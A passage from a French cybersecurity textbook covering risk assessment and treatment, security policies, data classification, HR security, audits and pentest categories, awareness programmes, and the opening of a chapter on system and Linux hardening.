			- Identification des menaces : elles sont inventoriées pour chaque actif de support. Cette liste n’est naturellement pas exhaustive, mais doit sans faute contenir les menaces explicitement redoutées par la direction générale. Il est naturel de se concentrer sur les actifs les plus sensibles, comme les équipements réseau qui font office d’interconnexion entre des réseaux avec des niveaux de sécurité différents. Il est possible d’utiliser à ce stade une méthodologie de threat modeling, par exemple STRIDE.

			

			- Identification des mesures de sécurité existantes ; on part rarement de zéro.

			- Identification des vulnérabilités : elles sont inventoriées pour chaque actif de support ; comme pour les menaces, on ne vise pas l’exhaustivité, mais on s’efforce de lister les faiblesses les plus significatives pour l’entreprise.

			- Description des scénarios : pour chaque actif de support, les combinaisons des menaces et vulnérabilités associées sont décrites sous forme de scénarios de risque. Chaque scénario inclut une description des conséquences, qui peuvent être d’ordre différent (métier, image, juridique, financier). Un exemple de scénario pourrait être le suivant : « Un pirate (menace) profite d’un défaut de mise à jour (vulnérabilité) du serveur web frontal (actif de support), afin de s’introduire dans le réseau et exfiltrer des données sensibles, ce qui génère des impacts métier, financiers et juridiques (conséquences). » Ces scénarios se prêtent bien aux échanges avec la direction générale, car ils sont facilement compréhensibles par des non-initiés à la cybersécurité.

			3 - Analyse des risques

			Elle inclut les étapes suivantes :

			- Choix d’une méthodologie d’analyse : elle peut être quantitative ou qualitative. La première a pour objectif d’associer un montant financier à chaque scénario de risque, la deuxième utilise des échelles de type « faible, moyen, élevé ».

			- Appréciation des conséquences : pour chaque scénario, les actifs touchés sont valorisés en fonction de leur criticité métier, et les conséquences sont exprimées en termes d’impact financier, technique ou humain.

			- Appréciation de la vraisemblance : pour chaque scénario, le niveau de probabilité est estimé en prenant en compte la fréquence de survenance des menaces et la facilité d’exploitation des vulnérabilités.

			- Estimation du niveau des risques : pour chaque scénario, on calcule une valeur numérique en combinant sa vraisemblance et ses conséquences. Plus cette valeur est élevée, plus le risque décrit par le scénario est redoutable.

			4 - Évaluation des risques

			

			Elle prend comme élément d’entrée la liste des risques avec un niveau des risques valorisé, ainsi que les critères d’évaluation du risque. Les scénarios des risques sont triés par niveau de risque décroissant.

			5 - Traitement des risques

			Il prend comme élément d’entrée la liste des risques classés par ordre de priorité. Pour chaque scénario, quatre options de traitement sont étudiées (elles ne sont pas toutes mutuellement exclusives) :

			- Réduction du risque (à travers des mesures de sécurité ; il s’agit du choix le plus commun).

			- Maintien du risque (acceptation du statu quo).

			- Refus du risque (suppression complète du risque, par exemple en arrêtant une activité jugée trop risquée).

			- Partage du risque (en général à travers la souscription d’une assurance cyber, ou en faisant appel à de la sous-traitance).

			6 - Acceptation des risques

			Les niveaux des risques « après traitement », dénommés « risques résiduels », sont calculés et comparés avec les seuils d’acceptation. Sauf exception validée par la direction générale, l’exercice se termine une fois que tous les risques résiduels sont ramenés à des valeurs en dessous du seuil d’acceptation. Plusieurs itérations peuvent être nécessaires.

			
				
					
				
				
					
							
							
								
									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							

							- Attention à ne pas pousser trop loin l’exercice : une appréciation des risques qui en traite plus de quelques dizaines devient très difficile à maintenir dans la durée et peut brouiller le message autour des principaux risques.

							- Afin d’éviter l’explosion combinatoire des scénarios (actifs × vulnérabilités × menaces), il faut forcément faire des choix. Il est très important dans tous les cas d’inclure les scénarios redoutés par la direction générale, qui doit avoir l’occasion de s’exprimer sur ses craintes.

							- Parfois, l’évaluation numérique d’un risque donne un niveau trop loin de celui dicté par l’intuition (trop bas ou trop haut), ou alors incohérent avec d’autres évaluations : il est permis, dans ce cas, de réaliser un tuning manuel de l’évaluation, sous réserve bien sûr de le justifier et de le formaliser.

							- Le propriétaire d’un risque (risk owner) est celui qui « tient les cordons de la bourse » pour le traiter, souvent la direction.

						
					

				
			

			Politiques et procédures

			Politique de sécurité des systèmes d’information

			La PSSI est probablement le document de sécurité le plus important. Elle définit les exigences de sécurité et constitue la référence pour toute prise de décision ayant des implications en lien avec la sécurité de l’information.

			

			Ses chapitres reprennent généralement la structure de la norme ISO 27002, au moins en Europe, ce qui garantit une couverture exhaustive des aspects essentiels de la sécurité et facilite les démarches de conformité.

			Notons que l’ANSSI a publié un guide d’élaboration des politiques de sécurité des systèmes d’information16, qui fournit des recommandations pratiques pour concevoir et structurer une PSSI adaptée aux besoins de son organisation. Ce guide insiste sur l’importance d’adopter une approche globale, couvrant aussi bien les aspects techniques qu’organisationnels.

			La PSSI doit être soutenue par la direction : son application exige un engagement clair et visible des dirigeants pour garantir son acceptation par l’ensemble des collaborateurs. Elle doit également être adaptée aux spécificités de l’organisation, de manière à refléter les risques spécifiques au secteur d’activité et à intégrer les contraintes réglementaires applicables.

			Politique de classification de l’information

			La politique de classification est la pierre angulaire de la gestion de la sécurité ; elle définit des niveaux de sensibilité des informations, et fournit des règles de diffusion et de protection des données en fonction de leur criticité.

			Opérer sans politique de classification des données (situation hélas très courante) laisse une place trop importante aux décisions subjectives des travailleurs individuels, qui n’ont pas forcément une bonne compréhension de la valeur de l’information qu’ils manipulent.

			Quand chaque document a une classification assignée, les employés peuvent suivre un ensemble de procédures au sujet de sa diffusion. Cela atténue la possibilité qu’ils soient dupés en révélant des informations sensibles à des personnes non autorisées.

			

			Généralement, la politique de classification identifie quatre catégories de sensibilité, en fonction des conséquences pour l’organisation en cas de diffusion incontrôlée ; en voici un exemple :

			
				
					
					
					
					
				
				
					
							
							Niveau de classification

						
							
							Impact potentiel en cas de divulgation

						
							
							Exemples

						
							
							Accès autorisé pour

						
					

					
							
							Public

						
							
							Aucun

						
							
							Offres commerciales, présentations marketing, résultats financiers

						
							
							Tous

						
					

					
							
							Diffusion limitée

						
							
							Répercussion limitée en termes d’image ou de chiffre d’affaires

						
							
							Comptes rendus de comité client, propositions techniques et financières

						
							
							Collaborateurs et parties intéressées

						
					

					
							
							Interne

						
							
							Répercussion modérée en termes d’image, de chiffre d’affaires ou de client

						
							
							Données de messagerie, documents métier standards

						
							
							Tous les collaborateurs

						
					

					
							
							Confidentiel

						
							
							Répercussion importante en termes d’image, de chiffre d’affaires ou de client. Sanctions juridiques, voire pénales

						
							
							Informations d’authentification, données personnelles sensibles au sens du RGPD, informations stratégiques, codes sources d’applications critiques

						
							
							Collaborateurs ayant le besoin d’en connaître

						
					

				
			

			Il faut que tous les collaborateurs comprennent la politique de classification et y soient sensibilisés, même ceux qui ne travaillent pas avec des ordinateurs.

			

			

			Charte d’utilisation des moyens informatiques

			La charte d’utilisation des moyens informatiques détaille les règles de conduite applicables aux collaborateurs lorsqu’ils utilisent le système d’information de l’organisation. Elle doit être signée lors de l’embauche, dans le cadre du processus d’intégration des nouveaux employés, et peut constituer un outil efficace de protection contre les menaces d’ingénierie sociale, à condition qu’elle contienne des directives claires comme celles-ci :

			Interactions avec des tiers :

			À moins que le demandeur n’ait été vérifié comme membre du service informatique, il est strictement interdit :

			- D’exécuter des commandes sur un ordinateur ou tout équipement informatique à la demande d’une autre personne.

			- De télécharger et installer des logiciels à la demande d’une autre personne.

			- De divulguer des informations techniques relatives à l’environnement de travail.

			Sécurité des communications :

			- Ne jamais transmettre de mots de passe par courriel en clair.

			- Ne pas partager de détails techniques sur le matériel ou les logiciels de l’entreprise dans des forums, groupes de discussion ou listes de diffusion publiques, sauf en utilisant des comptes anonymes que l’on ne peut rapprocher avec l’organisation.

			- Ne pas ouvrir de pièces jointes d’e-mails, à moins qu’elles ne proviennent d’une personne de confiance dont l’identité a été vérifiée.

			- Éviter tout transfert automatique de courriels entrants vers une adresse e-mail externe.

			- S’abstenir de participer à des sondages téléphoniques impliquant des questions d’organisation ou personnes extérieures.

			Utilisation du matériel et gestion des mots de passe :

			- Ne pas utiliser le matériel professionnel à des fins personnelles ni le matériel personnel à des fins professionnelles, sauf dérogation validée par le service sécurité.

			

			- Ne pas réutiliser au niveau professionnel des mots de passe employés dans un cadre personnel.

			- Ne pas choisir des mots de passe contenant :

			• Des mots figurant dans un dictionnaire, quelle que soit la langue.

			• Des informations personnelles telles que des noms, adresses, dates de naissance, numéros de téléphone, plaques d’immatriculation, ou toute référence familiale, de loisir ou professionnelle.

			- Gérer les mots de passe via un gestionnaire validé par l’organisation et éviter de les écrire sur des Post-it ou dans des fichiers non sécurisés (.txt, .docx, .xlsx, etc.).

			Politique de gestion des ressources humaines

			Les dispositions relatives à la sécurité autour de la gestion des ressources humaines sont généralement incluses dans la PSSI, mais elles peuvent être regroupées dans un document séparé.

			Examinons les processus les plus sensibles dans le cadre de la sécurisation d’une organisation.

			Arrivée d’un collaborateur

			Toute nouvelle recrue doit être avoir signé le contrat de travail et les chartes d’entreprise. La dénomination de ces dernières peut varier, mais il est en général question d’une charte d’utilisation des moyens informatiques et d’une charte d’éthique, souvent annexée au règlement intérieur. Il est important que tout collaborateur dispose d’une fiche de poste qui délimite les contours de ses responsabilités et précise ses responsabilités en termes de sécurité de l’information.

			Idéalement, les accès informatiques ne doivent pas être accordés tant que la nouvelle recrue n’a pas validé un premier niveau de sensibilisation à la sécurité.

			

			Départ d’un collaborateur

			Les dispositions suivantes devraient s’appliquent au départ d’un collaborateur, qu’il s’agisse d’un départ volontaire ou d’un licenciement :

			- Désactivation des accès informatiques (compte dans l’annuaire d’entreprise, compte de messagerie, accès VPN, accès aux applications, certificats, etc.). Il est important que cette désactivation intervienne immédiatement après le départ, afin de ne laisser aucune marge de manœuvre à un ancien employé mécontent qui souhaiterait nuire à l’organisation.

			- Restitutions de tous les actifs (ordinateurs portables, téléphones, badges, clés, etc.).

			- Notification au personnel, par exemple à travers la publication hebdomadaire d’une liste des départs.

			- Modification des mots de passe génériques ou codes partagés connus par le collaborateur qui quitte l’organisation.

			Recrutement

			Les offres d’emploi ne doivent pas mentionner trop de détails sur l’environnement technologique de l’organisation, que ce soit au niveau hardware ou software ; les informations doivent se limiter au minimum indispensable pour attirer des candidats qualifiés.

			Une vérification des antécédents devrait être requise pour toutes les nouvelles recrues – sous-traitants, consultants, travailleurs temporaires ou stagiaires – avant l’établissement d’une relation contractuelle. Cette vérification doit être proportionnelle à la sensibilité du poste ou de la mission à pourvoir.

			

			Audits

			Nous avons présenté, dans les séquences précédentes, certains des référentiels de sécurité les plus populaires. Ces référentiels sont très précieux, car ils évitent aux organisations de « réinventer la roue » dans leur démarche de sécurisation, leur fournissant un ensemble de bonnes pratiques bien éprouvées.

			Cela étant dit, est-il suffisant pour une entreprise de suivre les recommandations des référentiels ? Comment une entreprise peut s’assurer qu’elle n’a pas fait fausse route, que le niveau de sécurité ciblé est réellement atteint ? La réponse repose dans les audits  : en effet, qui dit référentiel dit audit de conformité.

			Pour comprendre le fonctionnement des audits, commençons par une revue du lexique, basée sur la norme ISO 19011 (« Lignes directrices pour l’audit des systèmes de management ») :

			Preuves : données démontrant l’existence ou la véracité de quelque chose, obtenues par observation, mesure, essai ou par un autre moyen.

			Critères d’audit : ensemble d’exigences utilisées comme référence vis-à-vis de laquelle les preuves sont comparées.

			Audit : processus méthodique, indépendant et documenté, permettant d’obtenir des preuves et de les évaluer de manière objective pour déterminer dans quelle mesure les critères d’audit sont satisfaits.

			Constatations d’audit (findings) : résultats de l’évaluation des preuves d’audit recueillies, par rapport aux critères d’audit. Elles indiquent la conformité ou la non-conformité.

			Ces définitions permettent de comprendre assez bien le travail d’un auditeur (ou d’une équipe d’audit) : rechercher les preuves de la conformité à un référentiel, exigence par exigence. Il s’agit d’une mission délicate, qui se heurte à plusieurs obstacles, aussi bien techniques qu’humains. La norme ISO 19011 identifie les principes qui s’appliquent aux auditeurs, dont les plus importants sont probablement les deux suivants :

			- Indépendance : les auditeurs sont impartiaux et indépendants de l’activité auditée, ils n’ont ni parti pris ni conflit d’intérêts.

			

			- Approche fondée sur la preuve : méthode qui permet d’obtenir des résultats fiables et reproductibles ; les preuves d’audit sont vérifiables, elles s’appuient sur des échantillons d’informations disponibles.

			Il existe plusieurs types d’audit de sécurité. Une première distinction porte sur la relation entre auditeur et audité :

			- Audit interne : il est réalisé par une équipe d’audit qui appartient à l’organisation. La condition essentielle pour sa bonne réussite est l’indépendance de l’auditeur ; celle-ci est plus facile à obtenir dans les plus grosses structures, qui disposent d’un service d’audit interne. Pour les plus petites structures, il est plus compliqué d’identifier un auditeur qui n’ait pas été impliqué dans le périmètre à auditer, et qui ne soit donc pas « juge et partie ». Notons que ce type d’audit peut, s’il est mal géré, générer des tensions entre collègues ; l’état d’esprit à promouvoir est celui dans lequel auditeur et audité sont dans le même bateau, tous deux contribuant à élever le niveau de sécurité de l’entreprise. Certaines normes imposent aux organisations de réaliser périodiquement des audits internes.

			- Audit externe : il est réalisé par une équipe d’audit qui n’appartient pas à l’organisation. Un cas fréquent est celui dans lequel un client audite un prestataire, soit à travers sa propre équipe d’audit, soit en faisant appel à une entreprise spécialisée. Dans ce cas, le but principal du client est d’être rassuré sur le niveau de sécurité du prestataire et sur la mesure dans laquelle celui-ci respecte ses engagements contractuels sur la sécurité. Certaines normes imposent aux organisations d’auditer périodiquement leurs prestataires. Un autre cas d’audit externe est celui réalisé par une autorité de contrôle, par exemple autour de la protection des données à caractère personnel (en France : un contrôle de la CNIL).

			- Audit de certification : il s’agit d’un cas particulier d’audit externe, à l’issue duquel l’organisation auditée se voit décerner un certificat en cas de conformité aux critères d’audit. L’audit de certification peut avoir un but commercial (inspirer de la confiance aux parties intéressées et gagner de nouveaux clients) ou réglementaire (prouver la conformité normative pour obtenir l’autorisation d’exercer une activité déterminée).

			Une deuxième distinction porte sur le contenu de la prestation :

			- Audit organisationnel : il vise à déterminer la conformité au niveau des processus de gestion, notamment à travers des interviews et de l’analyse documentaire. Il est réalisé par des experts dans la gouvernance de la sécurité.

			

			- Audit technique : réalisé par des experts techniques, il porte sur l’analyse des systèmes de sécurité déployés. La recherche des preuves passe dans ce cas par l’exécution de commandes spécifiques sur les cibles d’audit ; ces commandes ne sont pas lancées directement par l’auditeur, qui se limite à donner les instructions aux équipes auditées. Parmi les cas spécifiques d’audits techniques, nous pouvons mentionner les audits de configuration et les audits de code source.

			Les tests d’intrusion (pentests) peuvent être considérés comme une typologie d’audit technique, mais dans ce cas l’auditeur (« pentesteur ») a la possibilité d’interagir avec les systèmes ciblés à travers ses propres outils, dans le but d’identifier et exploiter les vulnérabilités. Il existe plusieurs méthodologies pour les pentests, les plus populaires étant probablement PTES (Penetration Testing Execution Standard), OSSTMM (Open Source Security Testing Methodology Manual) et PTF (Penetration Testing Framework).

			Il existe trois catégories de pentests :

			- Boîte blanche (white box – on rencontre aussi la dénomination transparent box, très logique) : l’auditeur a une connaissance complète du fonctionnement interne du système testé. Dans le cas d’un pentest applicatif, les informations connues incluent le code source, la liste des composants avec leurs versions (librairies, modules, middleware, etc.) et toute la documentation technique (diagrammes de flux, spécifications des API, dossiers d’architecture, etc.). Le test en boîte blanche, parfois qualifiée de « transparente », est celui qui permet d’aller le plus en profondeur dans la recherche des vulnérabilités, mais il est aussi le plus chronophage en raison de la grande quantité de données à étudier.

			- Boîte noire (black box) : l’auditeur n’a aucune connaissance du fonctionnement interne du système testé, qui est pour lui entièrement opaque (on parle de zero knowledge). Dans ce cas, l’auditeur se met dans les mêmes conditions qu’un attaquant externe à l’organisation ciblée ; les vulnérabilités identifiées sont donc à prendre très au sérieux, dans la mesure où elles sont exploitables par des outsiders.

			- Boîte grise (grey box) : l’auditeur dispose d’une connaissance partielle du système testé, par exemple une liste d’adresses IP et une partie de la documentation technique, surtout concernant les interfaces exposées aux utilisateurs. Cela permet au pentesteur de s’épargner la phase de reconnaissance (recherche des informations) et de se concentrer sur l’analyse des vulnérabilités.

			

			Quelle que soit la méthodologie utilisée, tout audit aboutit à l’établissement d’un rapport, qui contient au moins les informations suivantes :

			- Objectifs de l’audit.

			- Périmètre de l’audit.

			- Critères d’audit (référentiels d’audit).

			- Constatations d’audit, notamment liste de non-conformités (écarts).

			- Conclusions de l’audit.

			Parfois, les non-conformités sont réparties en « mineures » et « majeures » selon leur gravité ; en général, une certification ne peut être accordée en présence de non-conformités majeures.

			Une fois le rapport d’audit remis, l’organisation auditée prépare un plan de traitement des écarts. La quantité de travail pour corriger un écart est très variable : cela va de la simple modification d’un fichier de configuration au projet structurant qui nécessite d’énormes investissements et qui n’est pas toujours économiquement viable.

			Dans tous les cas, les audits sont indispensables à l’amélioration continue du niveau de sécurité d’une organisation.

			
				
					
				
				
					
							
							
								
									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							

							- Quand on est audité, il faut répondre aux questions des auditeurs de façon directe, sans en dire plus que nécessaire pour « faire bien » (car cela augmente la « surface d’attaque »).

							- Quand on est audité, il faut faire en sorte que notre environnement de travail soit le plus propre possible (pas de papiers qui traînent sur les bureaux, pas de médias amovibles sans surveillance, caissons et armoires fermés…). Il faut vérifier aussi les zones communes proches et les poubelles

							- Lors d’un audit, il ne faut jamais mentir, mais il faut quand même être malin : si on a le choix des preuves à montrer, montrer les éléments les plus favorables ; en cas de doute, le mieux est de dire quelque chose du type « je vérifie et je reviens vers vous », plutôt que de dire « je pense que oui/normalement oui » ; répondre avec assurance, au risque de mettre la puce à l’oreille des auditeurs.

							- Il arrive qu’un test d’intrusion provoque des incidents de production : dans certains cas, il est préférable de réaliser les tests dans des environnements de préproduction.

						
					

				
			

			Formation et sensibilisation

			Dans la démarche de sécurisation d’un système d’information, il n’est pas suffisant de déployer des équipements et outils dernier cri, aussi performants soient-ils : l’humain revêt et continuera de revêtir un rôle d’importance cruciale.

			La prise en compte de ce facteur peut faire la différence : dans le pire des cas, l’humain sera le maillon faible du dispositif (victime de phishing, source d’erreurs et violations, incompétent, etc.), dans le meilleur il sera un atout précieux (capable de reconnaître les événements suspects et d’alerter rapidement, exemplaire dans le respect des politiques, etc.).

			Les principaux outils dans les mains d’une organisation pour que l’humain soit une force plutôt qu’une faiblesse sont la formation et la sensibilisation.

			

			La formation (training) a pour but le développement de compétences métier spécifiques ; la sensibilisation (awareness), plus « légère », vise à transmettre des notions de base et à inculquer les bons réflexes.

			Toute organisation devrait se soucier de créer et renforcer la culture sécurité de son personnel, à travers un programme spécifique que les anglophones nomment SETA (Security Education, Training and Awareness).

			Préparation d’un programme

			L’International Information Systems Security Certification Consortium, (ISC)², préconise de suivre les étapes suivantes pour préparer un programme SETA :

			1.Prendre en compte les spécificités du contexte.

			• Quelles méthodes de communication fonctionnent bien dans l’organisation ?

			• Quels obstacles pourraient se présenter pour l’efficacité du programme ?

			• Quelles sont les contraintes réglementaires de l’organisation ?

			2.Identifier les référentiels à partir desquels alimenter le contenu pédagogique :

			• Externes (ISO 27001, ISO 27002, RGPD, etc.).

			• Internes (politiques et procédures de sécurité, chartes d’utilisation, etc.).

			3.Identifier les spécificités des différentes populations dans l’entreprise, afin de prévoir des apprentissages spécifiques, avec une attention particulière pour les profils à haut risque comme :

			• Direction générale, exposée à des « fraudes aux présidents ».

			• Services financiers, exposés à des tentatives d’escroquerie.

			• Administrateurs techniques, en raison de leurs droits d’accès étendus.

			• Stagiaires, alternants et nouveaux arrivants en général.

			

			4.Identifier, dans le but de les communiquer avec clarté, les sanctions auxquelles le personnel s’expose en cas de violation des politiques et des chartes.

			5.Définir la fréquence des sessions de sensibilisation et de formation.

			6.Définir les outils pédagogiques à utiliser, par exemple :

			• Site d’e-learning.

			• Démonstrations de piratage.

			• Présentations animées par le RSSI.

			• Formations externes.

			7.S’assurer de la possibilité de conserver les justificatifs qui attestent le bon suivi des actions pédagogiques :

			• Questionnaires remplis.

			• Feuilles d’émargement.

			• Attestations de formation.

			• Certifications.

			8.Formaliser les choix retenus dans des politiques de sensibilisation et formation, et documenter un programme SETA.

			9.Identifier les speakers parmi les collègues qui ont une expertise autour de la sécurité, éventuellement en élargissant à des profils en dehors de l’entreprise (guest speakers).

			10.Préparer les contenus.

			11.Lancer une campagne de communication interne utilisant plusieurs types de média (intranet, mail, affichage, vidéo).

			
				
					
				
				
					
							
							
								
									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							

							- Les démonstrations de piratage marchent très bien pour sensibiliser les équipes techniques.

							- Les tests de phishing sont un outil de sensibilisation intéressant ; mon expérience montre qu’en général, 15 à 20 % des employés ciblés tombent dans le panneau.

							- Pour une organisation, il peut être économiquement intéressant d’accorder des primes aux collaborateurs qui suivent les MOOC de l’ANSSI et de la CNIL jusqu’au bout. Un montant de l’ordre de 100 € peut être pertinent.

						
					

				
			

			Protection contre l’exploitation des failles humaines

			La lutte contre le phishing et l’ingénierie sociale occupent une place privilégiée dans les programmes de formation et sensibilisation.

			Des collaborateurs formés et entraînés, qui comprennent que la sécurité est une partie intégrante de leur poste, constituent un bouclier de protection important pour l’entreprise. Inversement, si les employés n’ont pas les bons réflexes pour détecter les attaques de piratage psychologique et ne sont pas motivés à respecter les politiques de sécurité, la compromission n’est hélas qu’une question de temps.

			La direction de l’entreprise ne doit pas se limiter à publier une note de bénédiction au programme de sensibilisation, mais au contraire montrer un réel engagement.

			Les mesures suivantes devraient être envisagées :

			- Rappeler régulièrement aux collaborateurs où trouver les politiques et procédures de sécurité. Une communication, même régulière, n’est pas suffisante : il est nécessaire de vérifier que les collaborateurs comprennent et acceptent ces documents, par exemple en leur demandant de répondre avec succès à des questionnaires de validation. Un défaut de compréhension de l’utilité des politiques peut inciter les employés à les contourner par commodité.

			

			- Organiser régulièrement des campagnes de phishing à destination des collaborateurs. Cela permet de faire d’une pierre plusieurs coups : 

			• Évaluer le niveau de résilience de l’organisation.

			• Suivre comment le niveau de résilience évolue dans la durée (par exemple en suivant le pourcentage de collaborateurs qui cliquent sur des liens piégés ou, pire, renseignent leurs identifiants et mots de passe sur les sites d’appât).

			• Sensibiliser les collaborateurs aux risques et leur rappeler les bonnes pratiques pour ne pas se faire piéger.

			- Organiser régulièrement des exercices d’ingénierie sociale, idéalement personnalisés, en fonction du public ciblé. Les populations les plus exposées aux attaques doivent être couvertes : 	

			• Helpdesk.

			• Services administratifs et comptables.

			• Direction générale.

			• Équipes informatiques.

			• Ressources humaines.

			• Accueil.

			- Mettre en place un programme de récompense pour remercier et mettre en valeur les collaborateurs les plus alertes et consciencieux, par exemple ceux qui se sont illustrés en signalant rapidement des tentatives d’attaque.

			- Communiquer sur les sanctions encourues en cas de violation de politiques de sécurité. La réponse doit être graduelle et peut aller d’un avertissement informel jusqu’à un licenciement en cas d’infraction grave ou répétée.

			- Privilégier des sessions de sensibilisation interactives, avec des jeux de rôle.

			- Allouer du temps aux collaborateurs pour qu’ils puissent se familiariser avec les documents de sécurité pendant leur temps de travail.

			Un programme de sensibilisation bien mené devrait permettre aux employés de développer les réflexes suivants :

			

			- Vérifier systématiquement l’identité réelle de la personne qui formule une requête et appliquer les procédures de vérification en cas de doute, même minime.

			- S’interroger sur le niveau d’habilitation du demandeur et sur la légitimité de son besoin d’accéder aux informations demandées.

			- Signaler immédiatement toute activité suspecte à la cellule d’alerte ou à l’équipe de sécurité compétente.

			- Remettre en question les demandes, même si l’interlocuteur se présente comme une personne influente ou hiérarchiquement élevée, car les attaquants exploitent souvent le respect ou la crainte de l’autorité pour contourner les règles de sécurité.

			- Surmonter l’inclination naturelle à accorder sa confiance ou le bénéfice du doute en procédant à des vérifications minutieuses, conformément aux procédures de sécurité.

			
				
					15 https://www.cert.ssi.gouv.fr/avis/

				
				
					16 https://cyber.gouv.fr/publications/pssi-guide-delaboration-de-politiques-de-securite-des-systemes-dinformation

				
			

		

	
		
			

			Chapitre 4

			Sécurité des systèmes et des réseaux

			Durcissement

			Un système, dans le contexte de ce chapitre, désigne principalement les serveurs, les postes de travail et les équipements réseau. Il s’agit d’un ensemble structuré de composants matériels et logiciels qui interagissent pour exécuter des fonctions spécifiques, telles que le traitement, le stockage et l’échange d’informations.

			La surface d’attaque d’un système représente l’ensemble des points d’entrée exploitables par un attaquant pour y accéder, dans le but de compromettre des données ou provoquer des dommages. Elle englobe tous les éléments exposés, potentiellement vulnérables, qu’ils soient intentionnellement ouverts ou non.

			

			La sécurisation d’un système, souvent appelée durcissement, consiste à réduire cette surface d’attaque en limitant les points d’entrée disponibles et en renforçant les défenses contre les menaces potentielles.

			Dans cette section, nous explorerons les actions clés à mettre en œuvre pour renforcer efficacement un système et minimiser les risques.

			Principes généraux

			Désactivation des services inutiles

			L’une des premières actions à effectuer sur un système destiné à la production est de désactiver les services non essentiels à sa fonction. Cela est notamment critique pour les services qui ouvrent des ports d’écoute sur le réseau, surtout si le système est exposé sur Internet. Une attention particulière doit être accordée aux services utilisant des protocoles anciens mal sécurisés, comme Telnet ou FTP.

			Suppression des composants logiciels inutiles

			Les logiciels superflus, qu’ils soient préinstallés ou ajoutés par inadvertance, augmentent également la surface d’attaque en introduisant des vulnérabilités potentielles, notamment s’ils ne sont pas régulièrement mis à jour. Il faut s’efforcer de les supprimer autant que possible, même s’il est très compliqué de pousser l’exercice jusqu’au bout en questionnant la légitimité de chaque composant logiciel, y compris les bibliothèques.

			Une attention particulière doit être portée aux outils qui pourraient faciliter la tâche d’un attaquant ayant gagné un accès au système (outils d’analyse réseau, débogueurs d’applications, compilateurs, outils de transfert de fichiers).

			

			Désactivation ou suppression des comptes par défaut et des comptes inutilisés

			Les équipements réseau sont généralement livrés avec un compte d’administration utilisant un mot de passe par défaut documenté dans le manuel d’exploitation. Il est impératif de modifier ce mot de passe dès le déploiement, car il représente une porte d’entrée évidente. Dans certains cas, il est également possible de supprimer ou au moins désactiver le compte d’administration générique d’origine, en le remplaçant par des comptes d’administration nominatifs, offrant une meilleure traçabilité des actions.

			Pour aller plus loin, il est recommandé de désactiver tous les comptes « dormants », c’est-à-dire les comptes qui ne sont plus utilisés, notamment s’ils permettent l’ouverture d’une session interactive. Cela passe par des revues régulières des habilitations.

			Renforcement des configurations

			Les configurations par défaut des systèmes ne sont généralement pas optimisées pour la sécurité, mais plutôt pour la facilité d’utilisation. Elles doivent donc être renforcées pour une utilisation dans un réseau d’entreprise.

			Pour y parvenir, il est possible de s’inspirer de plusieurs sources :

			- Guides de durcissement mis à disposition par le Center for Internet Security (CIS).

			- Manuels techniques fournis directement par les constructeurs ou éditeurs de logiciels.

			- Notes techniques et recommandations publiées par des agences nationales comme l’ANSSI.

			Le durcissement des configurations inclut généralement les aspects suivants :

			- Activation du chiffrement, ou, s’il est déjà activé, désactivation des méthodes considérées comme insuffisamment robustes (par exemple, celles reposant sur des algorithmes anciens ou utilisant des tailles de clé inadaptées).

			

			- Renforcement de l’authentification, notamment par l’activation de l’authentification multifacteur (MFA).

			- Filtrage des flux réseau, grâce aux fonctionnalités de pare-feu local intégrées.

			- Synchronisation des horloges à travers le protocole NTP.

			Mise en place d’un mécanisme robuste pour gérer les mises à jour

			Une partie importante des vulnérabilités qu’on peut trouver dans un système d’information sont liées à un défaut de mise à jour. Nous avons déjà mentionné l’importance de mettre en place un processus solide de gestion des mises à jour. Au niveau technique, cela passe par deux étapes :

			- Mise en place d’un gestionnaire centralisé des correctifs pour chaque technologie où cela est possible, par exemple :

			• Pour les systèmes Windows : utiliser Windows Server Update Services (WSUS) ou Microsoft Endpoint Configuration Manager.

			• Pour les systèmes basés sur Debian/Ubuntu, déployer un miroir APT ou utiliser un outil comme Landscape.

			• Pour les distributions Red Hat, utiliser Red Hat Satellite ou Spacewalk.

			• Pour les équipements réseau, utiliser des solutions spécifiques du constructeur comme Cisco Smart Software Manager (CSSM).

			• Configurer les systèmes afin qu’ils récupèrent leurs mises à jour à partir du gestionnaire centralisé.

			Déploiement des agents de sécurité

			Le durcissement d’un système peut inclure l’installation d’agents de sécurité, par exemple :

			- Un Endpoint Detection and Response (EDR), pour se protéger des logiciels malveillants, détecter les comportements anormaux et réagir aux incidents.

			

			- Un agent de sauvegarde, pour garantir la résilience en cas de perte de données ou d’attaque (ex. : ransomware).

			- Un agent de surveillance de l’intégrité des fichiers (FIM, File Integrity Monitoring), pour détecter toute modification non autorisée des fichiers critiques.

			- Un agent de collecte des journaux, qui permet d’envoyer les logs vers un serveur centralisé, idéalement un SIEM. Il est essentiel de configurer le système pour journaliser les événements significatifs liés à la sécurité (ex. : connexions, accès aux fichiers sensibles).

			- Un agent d’analyse des vulnérabilités, capable d’identifier les vulnérabilités connues (CVE) grâce à des scans locaux réguliers.

			- Un agent de vérification de la conformité des configurations, pour s’assurer que les systèmes respectent les recommandations des normes de sécurité retenues.

			Notons que certains agents permettent de remplir plusieurs de ces fonctions à la fois ; c’est notamment le cas de Wazuh, une solution open source polyvalente qui combine surveillance de l’intégrité, collecte des journaux, analyse des vulnérabilités et gestion de la conformité.

			Sécurisation des systèmes Linux

			Dans cette section, nous examinons les meilleures pratiques de sécurisation spécifiques aux systèmes Linux, indépendamment de la distribution (Debian, CentOS, Ubuntu, etc.) :

			Créer des partitions séparées pour les répertoires /home et /var : ces répertoires sont dynamiques, dans le sens où leur taille peut varier très rapidement, soit en raison d’événements système (/var), soit en raison d’actions des utilisateurs (/home). S’ils sont situés dans la partition racine (/), cela crée un risque de saturation de l’espace de stockage, avec dysfonctionnement de l’OS.

			Vérifier régulièrement l’intégrité des systèmes de fichiers : cela suppose l’utilisation d’un outil de type Host Intrusion Detection System (HIDS), capable d’alerter en cas de modification non autorisée des fichiers système. Le plus populaire est AIDE.

			

			Protéger le chargeur de démarrage (bootloader) par un mot de passe : si le bootloader n’est pas protégé par un mot de passe, tout attaquant ayant un accès à la console de la machine peut forcer le démarrage en mode single user et réinitialiser ainsi le mot de passe root.

			Installer SELinux ou AppArmor : sans un système de contrôle d’accès obligatoire (Mandatory Access Controls) installé, seul le système de contrôle d’accès discrétionnaire par défaut sera disponible, avec toutes ses limitations. Certes, la complexité de gestion introduite par SELinux et AppArmor rebute parfois les administrateurs, mais l’effort de configuration est récompensé par une importante augmentation de la sécurité du système.

